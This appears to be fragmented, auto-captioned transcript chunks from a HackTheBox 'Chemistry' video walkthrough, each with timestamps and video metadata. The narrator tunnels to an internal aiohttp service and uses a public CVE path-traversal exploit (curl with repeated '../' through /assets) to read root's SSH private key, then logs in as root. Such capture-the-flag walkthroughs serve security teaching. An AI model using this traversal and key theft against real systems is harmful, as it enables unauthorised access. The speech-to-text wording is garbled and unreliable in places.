now we're Rosa can I curl Local Host 880 I can awesome so let's stand up a um tunnel and we got command line disabled I have just upgraded to parot 6 um my anable p uh Playbook works on my GitHub so if you want to copy my VM you can now do that but for some reason the SSH command line is disabled it's like enable Escap...
1,283.52
0
{ "video_id": "OH00LkpHyLk", "title": "HackTheBox - Chemistry", "url": "https://www.youtube.com/watch?v=OH00LkpHyLk" }
SSH to the Local Host on 8080 so now on my 8081 we should hit 8080 on the box and it looks like we do so we have site monitor in and a few links we have home start service stop service all these functions are not available list service so we can list running services on this check attacks under development so I don't k...
1,364.88
0
{ "video_id": "OH00LkpHyLk", "title": "HackTheBox - Chemistry", "url": "https://www.youtube.com/watch?v=OH00LkpHyLk" }
is the header so I'm going to do a c-i that shows me the um headers of the application and we see it Is AO HTTP so let's see what this is um we should look for exploits just going to Google exploits we do have a cve um GitHub exploit zero bite awesome and let's see a bash script and this is one odd way to do it so URL ...
1,455.039
0
{ "video_id": "OH00LkpHyLk", "title": "HackTheBox - Chemistry", "url": "https://www.youtube.com/watch?v=OH00LkpHyLk" }
something with routing yeah so we'll go over it once we root the box if this works um but I'm guessing we just need to fix this because the payload is going to be on assets like this and yeah it is and we probably don't need to be exact I just want to test this real quick let's cat exploit.
1,572.64
0
{ "video_id": "OH00LkpHyLk", "title": "HackTheBox - Chemistry", "url": "https://www.youtube.com/watch?v=OH00LkpHyLk" }
sh um curl path as is HTTP Local Host 8081 we're going to do a bunch of dot dot slashes and I forgot the the word assets so we'll do that in a second assets like that yeah we don't have to be exact we can just do a lot so now we have a way to read files and looking at this um let's go back to our SSH the PF command whe...
1,603.88
0
{ "video_id": "OH00LkpHyLk", "title": "HackTheBox - Chemistry", "url": "https://www.youtube.com/watch?v=OH00LkpHyLk" }
name right so if I DSA didn't work that's where I would go next I'm just going to direct this to a file we'll call it root. pem chod 600 root pem take a look at it looks good sh- I root at 10 10 11 38 was it uh where was it yep 38 and there we go we have rooted the box so we got root. text there so what did we want to ...
1,679
0
{ "video_id": "OH00LkpHyLk", "title": "HackTheBox - Chemistry", "url": "https://www.youtube.com/watch?v=OH00LkpHyLk" }